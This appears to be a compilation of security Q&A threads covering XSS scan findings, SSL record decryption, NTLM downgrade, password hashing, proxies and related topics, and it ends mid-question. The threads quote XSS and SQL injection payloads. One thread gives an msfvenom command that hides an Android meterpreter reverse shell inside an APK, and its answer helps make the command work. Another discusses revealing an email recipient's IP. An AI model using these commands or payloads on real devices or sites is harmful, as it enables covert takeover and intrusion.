PCI scan reports Apache XSS vulnerability - is it a false positive? My client's bank performed a PCI compliance can on their Apache/PHP server and reported some XSS vulnerabilities that to my (admittedly non expert) eyes seem to be false positives.

Example: they provide the following as evidence

GET {IP ADDRESS}/&quot;&gt;&lt;script&gt;alert(document.domain)&lt;/script&gt;.html

This generates an error 404 the response is the standard CPanel 404 message, including this:

{IP ADDRESS}/&quot;&gt;&lt;script&gt;alert(document.domain)&lt;/script&gt;.html (port 80)

This seems safe to me according to OWASP rule #1 - HTML Escape Before Inserting Untrusted Data into HTML Element Content.

Edit: as noted in the comments this is already using html entities which does seem weird, but that's what they provided.  The unescaped version also seems safe:

{IP ADDRESS}/">.htm

Which produces this output:

{IP ADDRESS}/%22%3E%3Cscript%3E;alert(document.domain)%3C/script%3E.htm (port 80)

Another one that is a bit murkier is this example:

https://{IP ADDRESS}/category/%27%3bfunc(document.cookie)%3b%27

The application does place components of the url into javascript variables, but always as quoted values.

This is in the output, and cited as evidence of XSS:

var gCategoryID="';func(document.cookie);'"

According to OWASP XSS prevention rule #3: The only safe place to put untrusted data into this code is inside a quoted "data value.", which I think is what we're doing.

So, are these actual vulnerabilities that I need to fix?  Or does it appear that they are simply calling them vulnerabilities becasue the characters appear in the output?

I'm not clear on how these could be used to allow for an actual XSS attack.

1.

<div class="info-heading">
{IP ADDRESS}/&quot;&gt;&lt;script&gt;alert(document.domain)&lt;/script&gt;.html (port 80)
</div>

With this particular payload it's a false positive. However, your query already contains HTML entites as input which was probably not intentional:

 GET {IP ADDRESS}/&quot;&gt;&lt;script&gt;alert(document.domain)&lt;/script&gt;.html

Can you confirm the output is still encoded correctly when you try unescaped input instead? Like this:

GET {IP ADDRESS}/"><script>alert(document.domain)</script>.html

2.

var gCategoryID="';func(document.cookie);'"

With the given payload, this also looks like a false positive, because single quotes don't interfere with the boundaries of a double-quoted string. However, if an attacker could insert double quotes or close the surrounding script tag instead, you'd be vulnerable.

So you need to ensure something like this is also escaped correctly:

https://{IP ADDRESS}/category/";alert(document.cookie);"

If it's not, you can use json_encode() in PHP to prepare a string for safe output as a JS string, e.g.:

var gCategoryID = <?php echo json_encode($category_id, JSON_HEX_QUOT|JSON_HEX_TAG|JSON_HEX_AMP|JSON_HEX_APOS); ?>


How do you visit a link without risking your computer? I got a link to http://61.19.247.192/~naowit/dustin.html, which was masked as a youtube.com link via email. Now I'm not willing to visit it because I know it's probably got some type of malware on it, or at the very least a scam/phishing attempt.

But... I'm always curious when I get these links. I want to visit them to see what they are up to. I have Sandboxie, but is that secure enough if I simply run the browser in a sandbox?

In general, how should you visit links that you are unsure of? I always have NoScript running, but I know that's not enough.

If you're of a technical nature, you may like Malzilla. Old school folks may appreciate Lynx

Both are text only ways of accessing a web page.  Malzilla provides diagnostics useful per-page, and Lynx is a text based browser.

But I only use them when I'm suspicious of something.  In the meantime I just use Chrome or IE in a virtual machine. I like Oracle's Virtual Box since it allows me to use a 64 bit client OS, where other virtualization solutions don't


Can the GPG master secret key be stored as read-only? Once you have generated your master PGP key, will the "data" in the private key ever change?

For instance, if you add another subkey, uid, or any other data to the master key, do these changes need to be "written" to the "secret half of the key", modifying it in any way? Or are all changes made to the "public half of the key", or even some sort of third signed file with the details?

That is, can you store the secret key on read-only media such as a CD-ROM, printed on paper, or tattooed onto the shaved head of one of your servants?

Keys don't store data, they encrypt data.  The data that it encrypts will change, but the key itself can't change or you would be unable to access your previously encrypted key-rings.

Now, you can role things forward to a new key by decrypting your entire key-ring and re-encrypting with a new private key, but that would only be done if your key became compromised (at which point you should really replace all your keys on your ring as well.)


Reporting an IP address This morning while checking /var/log/secure to troubleshoot an issue with my Centos VPS, I found that there has been too many SSH bruteforce attempts from 54.93.174.60 for the past couple of days. I blocked the IP immediately and a quick google search on the IP 54.93.174.60 said there are quite a few who has complaints against this IP. Is there a common public place were I can report such IP addresses with proof where the ISPs check periodically and take the necessary if any of the IP addresses reported belong to them?

Is http://www.abuseipdb.com a respected project? I found this website while googling the mentioned IP address.

Dec  2 05:20:45 server sshd[32461]: Failed password for invalid user Florissant from

54.93.174.60 port 56169 ssh2
Dec  2 05:20:45 server sshd[32462]: Received disconnect from 54.93.174.60: 3: com.jcraft.jsch.JSchException: Auth fail
Dec  2 05:21:14 server sshd[32463]: Invalid user fluffy from 54.93.174.60
Dec  2 05:21:14 server sshd[32463]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=ec2-54-93-174-60.eu-central-1.compute.amazonaws.com
Dec  2 05:21:17 server sshd[32463]: Failed password for invalid user fluffy from 54.93.174.60 port 56412 ssh2
Dec  2 05:21:17 server sshd[32465]: Received disconnect from 54.93.174.60: 3: com.jcraft.jsch.JSchException: Auth fail
Dec  2 05:21:28 server sshd[32467]: Invalid user Flushing from 54.93.174.60
Dec  2 05:21:29 server sshd[32467]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=ec2-54-93-174-60.eu-central-1.compute.amazonaws.com

Disclaimer : I am not related to the website www.abuseipdb.com in any ways. I found this website while googling about the IP address mentioned in the post.

There isn't one list for this. There are numerous, all with their own goals, policies for listing and delisting.

About this specific list: I'm involved in abuse at ISP's for quite a number of years I've never heard of it. Looking at their website there are a few thing that makes me not want to use it:

there's no clear, documented listing policy. It looks like everyone can fill in the form and then it's listed so any IP can end up on that list, possibly without any verification or proof. The number of complaints required to make it to this list isn't specified, so it may very well be that even one complaint is enough. The lack of a documented listing policy is bad for IP owners, but also for users of the list, because they may just as well be blocking IPs which aren't causing problems but which were added for (for them) wrong reasons to the list.
there's no delisting policy. Combined with the first argument that's a bad thing, because one of your IPs may be listed wrongly. Also, if there was abuse, once you fixed the abuse problem and you want to use the IP again you have no possibilty to have the IP removed again.
In addition to not having a delisting policy, it's impossible to conctact to ask information about a listing. So if one of your IPs listed you have a heard time to trace this complaint back to a user and actually fix the problem.
their contact address is sales@abuseipdb.com, which makes me think they may have some other motives than the good of the internet with running this database.

For an ISP I'd never consider using a list which doesn't have clear criteria on listing and delisting.

For the IP you mentioned it may be more useful to contact the owner of the IP block, Amazon, using their abuse contact page. They may actually take action on the machine running these SSH scans. Then again, personally I'd just install fail2ban and/or a firewall on my machine and move along, SSH scans are part of the internet nowadays, unfortunately.


SSL reconstruction with missing part I know that it's possible to decrypt a sniffed SSL session even when some packets were lost during the capture. I run some tests with wireshark and I saw that it's still able to decrypt part of the session.

I'd like to understand better how this works. My guess is that each SSL record is encrypted separately, therefore losing a piece of a record would make the rest of the record unusable, but losing a record would not affect the decryption of following records. Of course you will end up having a hole int the reconstructed tcp segment, but at least you would be able to move on and decrypt the rest of the capture. My guess is that it's also depends by the cypher used.

Any reference about this would be appreciated.
Thanks

SSL data is indeed split in records, each record beginning with a recognizable 5-byte header, and containing up to 16384 bytes worth of application data. What happens when records are missing depends on the negotiated algorithms.

Important note: SSL, by definition, is meant to ensure confidentiality of data. You should not be able, from the outside (i.e. with Wireshark), to decrypt the data, unless you have a privilege access to secret values known to the client or the server (e.g. you have a copy of the server's private key). I assume here that you have, indeed, such an access. From that access, you could obtain the "master secret" (the main shared secret resulting from the handshake) and then the encryption keys used for application data in both directions.

If the encryption algorithm is a block cipher (3DES, AES...) in CBC mode, then each record can be decrypted separately:

If the protocol version is TLS 1.1 or TLS 1.2, then the IV for the record is also embedded in the record itself, so the complete record data is recoverable.
If the protocol version is older (SSL 3.0 or TLS 1.0), then the IV is the last encryption block from the previous record; if you missed that previous record, then you don't have the IV... so you won't be able to obtain the first 8 or 16 bytes of the cleartext data of the record you have. The rest of the record contents will still be available.

If the encryption algorithm is RC4, then things are a bit more complex. RC4 is a stream cipher with a running state. The computed encryption keys are, really, the initial state of the algorithm for the first encrypted record. Each subsequent record is encrypted using the internal state that RC4 reached at the end of the previous record. For successful decryption, you must maintain that state in synch with what the client and server do.

It so happens that RC4 works by generating a long stream of key-dependent pseudo-random bytes, which are XORed with the data to encrypt (or decrypt). This means that the internal state reached by RC4 depends on the number of bytes encrypted so far, but not on the values of these bytes. Therefore, the eavesdropper (you) may recover from a "hole" by guessing how many bytes you missed. Decryption over a hole would then look like this: from the last known RC4 internal state (the one reached at the end of the decryption of the last observed record), loop over possible lengths for the missing record(s), and for each of them, work out the RC4 state at the start of the next observed record, and see if that yields a "meaningful decryption". Since SSL records also embed a MAC value, verifying decryption success can be done reliably (since the MAC key comes from the same source as the encryption key, I suppose that you also got that one). The process can be computationally expensive if the hole is big (e.g. if you missed up to one full megabyte of data, then you have to try a million "missed length" values, which will take a few seconds or even minutes of computations if the next record is big and you need to recompute the MAC to know whether decryption is successful).

Compression can make your task harder, too. Usual SSL clients and servers tend not to use compression, because compression leaks information on the compressed data (encryption hides data contents, not data length, and compression makes data length dependent on data contents -- in HTTPS contexts, this is called the CRIME attack). But if they do, then the "normal" compression algorithm for SSL is DEFLATE, which is stateful: the contents of each record will depend on the contents of previous records. Coping with a "hole" will be harder, just like bad sectors on a harddisk can kill a complete compressed archive.

An interesting comparison point is DTLS. This is "TLS for datagrams", i.e. TLS ported to packet-based transport mediums where packets can be lost (in simple terms, DTLS is "TLS over UDP instead of TCP"). Packet loss will imply the same issues than the ones you face, for the normal client and server this time. DTLS works around them by using the following:

RC4 is not allowed in DTLS.
The IV is explicit in each record (DTLS reuses the record format from TLS 1.1 and 1.2).
DTLS is silent on the subject of compression. One has to assume that if compression is used, then the sender shall arrange for stateless compression, which is still possible with DEFLATE but requires a "full flush" at the start of each record (see this on DEFLATE flushes). This decreases compression efficiency, since it prevents (by construction) cross-record data redundancy elimination.


TPM or OpenSSL for key generation? I would like to know which method is more secured. I know that they can be combined, but I would like to understand why TPM or OpenSSL might be a more secure technique to generate (encryption, decryption) keys

The difference between using some hardware backed key store (i.e. TPM, HSM, smartcard ...) and a "pure software" solution like openssl genrsa is not so much about the security of the key generation but about the security of the key storage.
HSM and similar are designed to never actually provide the created private key but only do operations like cryptographic signatures with the key. They are designed so that the key can not be copied to some other medium, that the HSM cannot be cloned with the key inside etc. Theft of the key thus means that the hardware needs to be stolen.
Contrary to that a key generated by openssl genrsa is stored in a normal file, which can be copied without anyone noticing and thus can also be used anywhere else. Theft of the key thus can go unnoticed, since the original owner still has access to the key too. It thus provides less assurance who actually owns and uses the key.


How do hackers take advantage of open ports as a vector for an attack? It is widespread knowledge, and therefore a common practice, to close open ports on any machines connected to the internet.

If for example, a typical program uses port xyz as it's communication channel, and there is a vulnerability in that program, which could be exploited through that port, why won't the same attack be successful through, let's say, port 80?

Given our pseudo program uses port 888 TCP, and it has a vulnerability which could be exploited, why can't that vulnerability be exploited through port 80 TCP (which is HTTP, and is open on almost any machine)?

Is port 80 on the web server listening only to a UNIQUE type of TCP packets? Does it accept only a certain kind of packet?

Why can't a hacker try to craft a TCP packet with a malicious string, encapsulate it inside the HTTP packet and therefore attack the web server?

Services listen to ports. Web servers (a service) listen to port 80, but that's just a standard, not a hard rule. You could configure any service to listen on any port. It's not about 'special packets' it's about 'dialing the right port number' to get the service you want.

If your pseudo program has a vulnerability, then it can be attacked on the port it is assigned to. You can't attack a program on ports it is not listening to. If you try to attack it on another port (like port 80 in your example), your program will not be reached.

Your last question, then, is a little strange: "Why can't a hacker try to craft a TCP packet with a malicious string, encapsulate it inside the HTTP packet and therefore attack the web server?" That IS what hackers do. But they target the port of the service they want to hit. But maybe you can refine that question based on the information I have provided.

So, why close ports? Because you want to reduce the number of potentially vulnerable services that you expose to the Internet.


Is there any danger in allowing users to host PDF/RTF/DOC files on my web server? If I were to allow users to host arbitrary PDF/RTF/DOC files on my server all under the same name, but with different query strings would there be anything to worry about? I've heard of PDF/RTF exploits, and I get that someone could perhaps host one of those on my server, but I mean it's not like they can access cookie data or anything through a PDF file. So is this fine to do, or should I be worried?

Should I have them host the files under a different domain name, or am I fine using my original domain?

I've noticed, for example, that a lot of websites like Facebook, Google, YouTube etc. have special domain names for hosting images and other data they allow users to upload, so I'm curious.

The problem is not that the files could contain exploits, but that they can be made to cause harm when reinterpreted as a different format. For example, someone may upload a file with RTF extension, which is actually a Flash file which is designed to steal cookies or perform CSRF attacks. That's one of the reasons Google hosts all user-provided files on a separate domain, so that the main domain is isolated from such content by same-origin policy.


Sending email from my provider back to my provider with data from user input secure? My boss wants me to create the following functionality:

A user fills out a form on our website with some data. He can also upload some files, which have personal information.

After the form is submitted an email is sent to my boss with the information from the form and all files attached.

I am using Python & Flask for the backend and host it on heroku. The mail server is from our webhost (germany). So we basically send an email from us back to us.

The website with the form has SSL protection

Can this be somehow unsecure? Its an unusual approach and I have never heard of it. Is this a legit way to retrieve data? I would usually use a DB and upload the files to a storage like S3.

Can this be somehow unsecure?

The website itself as HTTPS so the transport of the data from the client to your site is secured (assuming HTTPS is properly setup).

The data send from the client are now in plain on your server and anybody with the same or higher privileges than you can access these data.  If this is a shared hosting this usually means every other hosting user since the these run usually all as the same non-privileged user (i.e. www-data or similar, depending on the setup).

You then pack these unprotected data into a mail and deliver the mail. If you use TLS for mail delivery it is protected at least from the server to the next mail server, but you have no control over the next hops in mail delivery. But maybe even the delivery from the server to the first hop is also not protected by TLS. Anyway - without TLS the content can be sniffed when delivered in-between the mail server, with TLS it can still be sniffed on the mail servers since only the transport between mail servers is protected by TLS. To close at least this problem you can encrypt the mail itself, for example using PGP or S/MIME.


Having problems with SQL injection with mysqli extension PHP I am new to SQL injections, and people on Reddit asked me do the portswigger labs. Which I did up till before 2nd order ones. So I am pretty comfortable with usual SQL injections.

Now I have myself made a PHP website using mysqli extensions instead of mysql. So for example, a basic Query execution looks like:

  //mysqli// $result = mysqli_query($conn, $qry); instead of $result =
  mysql_query($qry);

========================================================================

So I asked others and found out that without proper sanitization or separate query builders, mysqli extension is as vulnerable as mysql extension. So, the app I made is too basic. It's just querying the DB and spitting out results. It's that simple. No sanitization is done.

But executing basic payloads like '+or+1=1--+ or anything basic, gives me the error:

  mysqli_error() expects exactly 1 parameter, 0 given

So I tried a lot and can't get past this error for anything I try. I simply can't execute injections with mysqli extension. Any help is highly appreciated.

Thank You.

You're confusing a PHP error with a database error, but not providing enough information to reliably assist you. The error message is unrelated to the PHP code snippet you posted. It appears that you have a function call to mysqli_error() without a parameter, it is supposed to be called with an argument: https://www.php.net/manual/en/mysqli.error.php. Based on your snippet I am expecting that the correct invocation should be:
mysqli_error($conn);

I expect this will just make your script error on the next wrong invocation leaving you no closer to achieving your goal. Perhaps consider using an up to date script like DVWA (http://www.dvwa.co.uk/) instead of modifying code in a language you're not familiar with.


The email system is compromised - what can you do? I have a friend at a 7 person company which has an issue with email confidentiality.

Each time they send out an email with quotes to customer, the competitor get the message in 30 minutes and send the quotes to the same customer.
They found out because a customer complained that they got quotes from companies they don't know.

They use windows system and outlook to process their eamils. If I want to do a security plan for them, where should I start?
I am looking references to sites with a check list.

For example:

Check for the trojan horse installed on each windows client and exchange server?
Will it solve the issue if they switch to google gmail?

That depends on several things. First you need to discover who got 0wned. It sounds like someone has a backdoor somewhere, the question becomes whose end is it on?

Below are some potential things to check after scanning every machine with your AV solution + Malwarebytes + I would also reccomend combofix from http://www.bleepingcomputer.com/combofix/how-to-use-combofix
as a third scan.

Has your client performed the same scans to ensure it's not on their end?

What email servers are being used currently on both ends?

I see a few possibilities if no backdoors are found.

No encryption during delivery of email (You should run TLS)

There is a mole with some type of connection (probably financial) to the transactions.

The receiver's email could be setup on their mail server to automatically forward all mail to another address at your competitors.

Lastly if there is a wireless network, disable WPS and make sure you have a new stronger WPA2 encryption key.


Is there a security risk in having my bookmarks publicly accessible? I'm considering storing my web browsing bookmarks in my Github repository as I use several different browsers in different locations and haven't found a satisfactory method of syncing bookmarks between browsers.

My concern is that my bookmarks will be publicly accessible and on a website which identifies me and so could be used to determine information about me such as:

who I bank with
which email providers I use
etc.

Or should I just not worry about it?

Yes storing your bookmarks in a public domain could be a security concern. Whether you think the risk is acceptable is down to personal appetite levels though.

Some risks could include:

A targeted attacker can build up a profile of sites you visit, allowing them to pull of phishing attacks easier and other similar social engineering attacks
A bookmark could include querystring data that identifies something you would not want to be made public. Such as an ID for a transaction for example.
You might include a bookmark that you would rather not be made public (maybe you've seen a job at a competitor you want to read later on)


Secure Development costs What case-studies or references are available from companies who have implemented a secure development process (eg, SDL or similar) around the cost/effort involved.

Whilst each development department is likely to be a unique case, it is still important to understand roughly what the costs of a programme would be before spending a lot of time on scoping.

Some references available are this recent article which links to this Aberdeen group which looks to have some interesting information and this reference here.  It's a bit academic and formula heavy, but some interesting information

Using the formulas in the book, "IT Security Metrics", you can staff your organization with application security professionals matched to the predictable number of incidents per quarter using a Poisson distribution. You could figure 100k US dollars per year for salary (doubled in most cases because of benefits and cost of business), 180k US dollars per year for 3 commercial SAST and 25k US dollars per year for 1 DAST (per person). The people and tools are very expensive. Make sure that you're not spending more than 37 percent of the assets that you are trying to protect. Remember that Veracode costs about 5-6k US dollars per app (apps in 100MB package size increments) that you send them -- and that competitor pricing is not far off from that number as well.

If you want to use an approximation, such as the ones used in regular information security, there is the Gartner-approved "6-7 percent" of total IT assets formula. For application security, you simply apply these numbers against the application development assets of an organization.


Downgrade of NTLM Authentication I have been experimenting NTLM and its different relay mitigations, including MIC and channel bindings.
In my understanding:

ntlm auth starts with a negotiation packet sent by the client. In this negotiation packet, the client describes which versions it supports.
according to that, the server chooses which version to use (rejecting in case of mismatch)
server sends the challenge

My question is, which flags indicate the version support for NTLM by the client? And also, is it possible to relay clients who support both ntlmV1 and ntlmV2 while forcing it to use ntlmV1?

The NTLM protocol is documented by Microsoft.  In § 2.2.2.5, the flags are described that outline which version of the protocol is to be used.  There are several variants that can be selected, including the variants we normally refer to as NTLMv1 and NTLMv2.
When the server selects the version based on the client value, if it accepts any authentication that does not involve integrity checking of the initial negotiate message, then it is vulnerable to a downgrade attack to force it to use less secure protocols.  This means that NTLM must be used only over secure connections (e.g., TLS) with trusted, properly configured servers.
Note that you don't ever want to use NTLMv1.  NTLMv1 uses DES, which has a 56-bit key, and the security of that user's credentials is downgraded to 56 bits if any NTLMv1 exchange is ever exposed; the entire password hash can be recovered.  The cost to conduct this attack is USD 20, assuming you're willing to wait a little bit, so any reasonably bored teenager can afford to compromise your systems.
Of course, since all versions of NTLM involve unsalted MD4 and either single DES or MD5, you'd want to avoid them altogether in favor of something more secure, since all of those constructions have been known to be completely insecure for over a decade and a half.  Using a randomly-generated plaintext credential over TLS means that you can store the password more securely on the server side, or, if you need compatibility with Windows's built-in authentication, you can use Kerberos.  Note that Kerberos supports forwardable and proxiable tickets if you need to use the client's credentials to access something on their behalf.


Is an SSH session to a mistaken site a security exposure? A few minutes ago I attempted to ssh to a server I have at my office.  Since it is a new server my public key has not been set up there so I had to type my password in manually.

After three times of trying to log in unsuccessfully I notice that I had typed the domain name wrong -- two characters transposed.   The server I had actually been trying to log into was not at my office but somewhere else!

My question:  does the SSH protocol expose my password in such a situation?   In other words if that server had be deliberately set up in some way to catch a mistake like this could it do it?

I am going to go change that password anyway but I would like to know if that accident is a real risk.   Any insights welcome.

Yes, the remote server will now have had access to your password. And if they've set it up to log that password (which is not the default in any SSH product I know), you should change your password even quicker than you are already doing :)


Msfvenom -x flag does not work I want to embed a payload to an apk file. I tried to use the msfvenom -x ScreenBrightness.apk -p android/meterpreter/reverse_tcp LHOST=<my_ip> LPORT=4444 R > output.apk

And this was the output:

Using APK template: ScreenBrightness.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
Error: Malformed version number string 2.4.0-dirty
/usr/bin/apktool: line 27: mkdir: command not found
/usr/bin/apktool: line 28: ln: command not found

Then I checked the directory and found that there was a file named output.apk

I tried to install the output.apk on my android it said App not Installed. I've tried multiple times but this was the result.

So, I tried to install the output.apk using adb by command adb install output.apk

And still this was the output:

Failure [INSTALL_FAILED_INVALID_APK]

I am using Linux: Parrot GNU/Linux
My android: Android 6.0.1 (Marshmello)

What should I do to properly embed a payload to an apk file?

Thanks in Advance.

Try it with sudo like:
sudo msfvenom -x ScreenBrightness.apk -p android/meterpreter/reverse_tcp LHOST=<my_ip> LPORT=4444 R > output.apk


Force clients to use proxy Here's my network configuration:

My network configuration http://daveden.files.wordpress.com/2013/05/network-configuration.png

The proxy server is running Ubuntu with Squid on port 3128 and DansGuardian on port 8080.

I'd like to force all clients to use the proxy server - specifically, port 8080 - for any TCP/UDP access. However, I don't want to transparently redirect.

How do I do this? Can I just drop packets if the client isn't configured to use the proxy server on port 8080?

I'd like whatever system I come up with to work on the proxy server itself as well. It's the only desktop computer in the house, so it'd be nice if I could allow people in my household to use it but still know that they're protected.

You have a couple options:

Use something like WCCP and function transparently
Be an inline proxy, as it seems you are now.
Use WPAD to send the devices to a box hosting your PAC file.
Manually specify the proxy in your clients.

However, this all depends on what you're exactly running, and if your devices support it (Can blenders handle PAC files?).  If possible, I suggest using WPAD, but you should be aware of MITM vulnerabilities.

Also, to address your question about dropping TCP/UDP packets which aren't proxied, just drop everything that doesn't have a source of your proxy, at any point after the ingress interface of the proxy.  Unfortunately, if you want to do this with a separate device, that device will have to reside between your proxy and modem.

You can also set your proxy up to do it by either using iptables on your proxy egress interface, or you could just not route traffic outbound for other internal devices... But the second solution would also extend past TCP/IP to include ICMP, IP Protocols, etc.


What is better salted hash or openssl encryption? Im using php and I was looking to store passwords in a mysql database. I was wondering what would be safer to use a salted hash or openssl encryption? If i use a unique random generated salted hash for each user and store the salt on the database, is there a way someone can find out the salt and decrypt it? Or if I use the openssl_public_encrypt function to encrypt the password using the public key is this safer then using a salted hash?

Generally hashing and encryption are for two different things. The main distinction in your case is that hashing is one way, and encryption is two-way. That is, you can decrypt the password to get them in plain text, but you cannot "de-hash" something.

If your system gets compromised and you are using encryption, the attacker will probably have all the information needed to decrypt all the passwords. This is obviously not good. If you hashed the password, even if the attacker got access to the hashed password and seed, they could not get the plain-text password.

For this reason, it's better to hash the password instead of encrypting it. Of course, this assumes you are doing the hashing correctly. Look into something like bcrypt to do this for you.


Check Base64 Data isn't malicious in PHP I am sending some data through as a GET parameter using urlencode(base64_encode()) in PHP. Is there any way I can check the data isn't malicious before using it on the other side? I am concerned that if the user sends eval(malicious_code) in the string, it will automatically run when I decode it. Any thoughts?

Maybe I could send a token in the URL and check it on the other side - if so any ideas for that - my mind has gone blank on that front.

If you run urldecode(base64_decode($input)), it will not be executed, just decoded. In your example if an input is eval(...), then you get the string eval(...) after decoding. Unless you explicitly run it, it will not execute.

By the way if the only point of applying base64 encoding is to increase security, as for any other encoding, it will not.


How to get a Windows 10 complete memory dump on demand? I was wondering what to do if by any chance I got infected with a Ransomware that could trick my AV suite, and my conclusion is that a complete memory dump would be the best option, as probably the encryption key would be there somewhere.

Searching online only showed me how to get the memory dumped on error, BSOD and the like, but not on demand. Some tutorials from many AV vendors even include a Restart step, which obviously is not something I would do during a Ransomware attack as I might lose the key for good.

So how could I dump all the system's memory in order to have a chance to find a encryption key there and possibly recover my files?

Some time ago, Microsoft bundled quite a large collection of tools, some more powerful than anything available for Windows.

I'm able to log activity going on in the background that I've never been able to see up until that point. At any rate, if they haven't created icons for everything - which they shouldn't, find ALL the EXE files that lack any kind of icon - they're command line only, no GUI. Either cut and paste or create a copy of them and stick them in your C:\Windows\System32

For your immediate purposes, just find livekd64 (assuming your system is 64 bit? if not, use the plain livekd) and put it in `System32. It might help you acquire the dump information you're after.


How to deal with misbehaving clients on an authoritative server? My coworker and I are developing an authoritative server for an MMO. We can't agree on how to handle "misbehaving" clients. Misbehaving, in this case, means clients who send "odd" requests that might indicate a compromised/altered client, or even a nefarious user injecting data directly into the communication stream.

One of us believes that the offending request should be aborted, the client's data saved, and the client's connection forcibly closed ("killed"). The other believes the request should be aborted and a "failed" response returned to the client.

We're at an impasse because we can't decide which approach is best. We've both generated arguments, but nothing has been sufficient to sway either of us.

For reference, here are some things we've considered:

Being disconnected results in an annoyance for legitimate users if we make a mistake coding the "misbehavior detection"
Killing the client eliminates the need for "clean up" response code.
If we don't kill the client, we might make a mistake and continue processing the bad request.
Killing the client prevents a compromised client from sending other potentially bad requests, at least until they log back in.
A disconnection may not do much to deter cheaters, whereas a denial response may elicit a "big brother is watching" feeling.

Any feedback on our arguments? Are there any other reasons for choosing one over the other? Is there some industry standard, or even a best practices consensus?

Being disconnected results in an annoyance for legitimate users if we make a mistake coding the "misbehavior detection"

With proper code review, mistakes like these can be avoided.

Killing the client eliminates the need for "clean up" response code.

Although it is important to "kill" a malicious client in order to prevent further issues, personally, I would suggest gathering as much information about the malicious source prior to "killing" the client connection.

If we don't kill the client, we might make a mistake and continue processing the bad request.

Without shunning the malicious activity, you risk further exploitation.

Killing the client prevents a compromised client from sending other potentially bad requests, at least until they log back in.

This would ultimately depend on the architecture and the design of the game, but without knowing much details about the proposed MMO, this action would definitely be an immediate mitigation but it is important to log the source of the attack (date/time/src IP/dst IP/ports/protocols/attack type) for incident response. Although cyber attacks are inevitable, collecting the aforementioned data can help you detect, contain and eradicate any further threats.


Secret salts; why do they slow down attacker more than they do me? When studying Dan Boneh's slides for 'Session Management and
User Authentication' (2011) he mentions 'secret salts' on the slide 'Further defences' (slide 48 out of 58).

He suggest to store in the datbase:

Alice|SA|H(pwA , SA , rA)

In which Alice is the username, SA the salt associated with Alice and H(pwA , SA , rA) the result of hashing Alice's password pwA together with the salt and a small random value rA.

I don't understand why adding a short random value r (8 bits) slows the verification down by a factor of 128 while an attacker is slowed by a factor of 256.

This would probably be explained in the auditory lecture that these slides accompany.

My guess is that he's calculating this assuming that users generally enter their correct passwords. You only need to cycle through options for r until you find one that produces a correct hash.

If you've been given the correct password, then you will come across an r that produces a correct hash; when exactly this happens will vary (since it's random), but on average you'll go through half the total options (2**8 = 256, 256/2 = 128) before finding it.

However, the attacker will usually be trying incorrect passwords. This means they'll have to try every single option of r, which is the full 256.


The exact use for MSF bind payloads Could someone explain the Metasploit bind Payload to me .
I have´nt found anything about them .
The for the reverse payloads the target Pc connects it selfe with the listener .
But how is bind different and for what Situation is it useful ?

Bind shells do not connect back to the attacker and accepts incoming connections from everyone by default. They have to be protected by a password or IP whitelist to be appropriate in redteaming. Firewalls usually block incoming connections, so the reverse shell is used to bypass that. But bind shells are more simple and shorter, and sometimes the only option in a buffer overflow with little room for shellcode


Fortigate "WebRTC.Local.IP.Addresses.Disclosure" Event We have a Fortigate perimeter firewall, and today I detected this event.

What should I do to improve protection?
How can someone obtain local IP address through a firewall?

The following alert was observed:

"WebRTC.Local.IP.Addresses.Disclosure".
     date=2019-06-18 time=14:35:25 devname=xxxx devid=FG200ETK18901992
     logid="0419016384" type="utm" subtype="ips" eventtype="signature"
     level="alert" vd="root" eventtime=1560848725 severity="medium" srcip=y.y.y.y
     srccountry="aaaaaa" dstip=x.x.x.x srcintf="wan1" srcintfrole="wan"
     dstintf="port1" dstintfrole="lan" sessionid=158214294
action="dropped" proto=6 service="HTTP" policyid=40 attack="WebRTC.Local.IP.Addresses.Disclosure" srcport=80 dstport=57383

hostname="pxlclnmdecom-a.akamaihd.net" direction="incoming" attackid=40038
profile="default" ref="http://www.fortinet.com/ids/VID40038"
incidentserialno=13903968 msg="web_app3:
WebRTC.Local.IP.Addresses.Disclosure," crscore=10 crlevel="medium"...

It appears the offending traffic was dropped, since your output contains action="dropped".

Searching for your exact title led me to the FortiGuard Encyclopedia, which explains the issue:

  This indicates an attempt to obtain the IP addresses of a user through
  WebRTC in various browsers. The issue is due to a design in various
  browsers when handling WebRTC calls that probes STUN server to obtain
  a user's IP address. A potentially malicious actor can exploit this to
  obtain a user's local and public IP addresses, via a crafted web page.

Further, the same page links to some example JavaScript code that demonstrates how this works.


Revealing IP of an email recipient using remote PHP script or pixel tracking I read through the search items and similar threads but my query is rather specific.

I know it's possible to reveal IP of an email recipient if we can get the person to click on an attached image or file and then using a remote PHP script running on a server we can extract info about him.

My question is that which IP exactly is actually revealed if the person is using a proxy or even TOR.

The person uses Protonmail, most likely as webmail.
So basically, assuming we can get the person to click on the attachment image, which IP is revealed when:

He uses a proxy website to access Protonmail
He uses a proxy through browser settings
He uses TOR browser bundle to access Protonmail hidden service

Thanks!

He uses a proxy website

An IP address lookup will reveal the exit node for that website proxy, e.g. the IP address of their server they connect to the IP address lookup PHP script.

(Client)---(Web proxy)---(Web proxy/exit node)---(Web server)

  He uses a proxy through browser settings

The revealed IP address will be the proxy server. However, depending upon whether a transparent, anonymous or elite proxy was used will determine if the proxy server forwarded the remote address (your IP real IP address) within the packet header.

Also, you should review the proxy server types (FTP, HTTP, HTTPS, SOCKS4, SOCKS4A and SOCKS5). An HTTP proxy server can only serve HTTP content via port 80. So, if you connect to an HTTPS website, your real IP address will be exposed. However, using any SOCKS proxy server would server content via any usable port.

(Client)---(SOCKS5 proxy)---(Web server)

--

Exposing the real IP address because of using HTTP proxy to connect to an HTTPS server.

(Client)---(HTTP proxy)---(HTTPS web server)

  He uses TOR browser bundle to access Protonmail hidden service

The Tor browser bundle is configured to prevent leaks like I described above, let alone protects against DNS and WebRTC leaks (by disabling). So, the exit node for the web server it accesses will be the IP address you view. Because of the Tor client changing circuits for different websites, the exit node for ProtonMail.com will be different for IPChicken.com. Hence, a different IP address.

(Client)---(Tor entry)---(Tor relay)---(Tor exit [IP address not static])---(Web server)


What is the serious security flaw with this authentication protocol? I've been asked to solve this security problem, as an exercise, but I have some difficulties.

Some notation:

C1 means Computer1
S1 means Server1,
TA means Trusted Autentication system,
X -> Y | Z means X sends message Z to Y,
K_X,Y(m) means that m is ciphered with the symmetric key shared by X and Y.

Suppose you have C1 who wants to be identified by S1 using a TA, the protocol works as follows:

C1 -> S1 | C1
S1 -> C1 | nonce1
C1 -> S1 | K_C1,TA(nonce1)
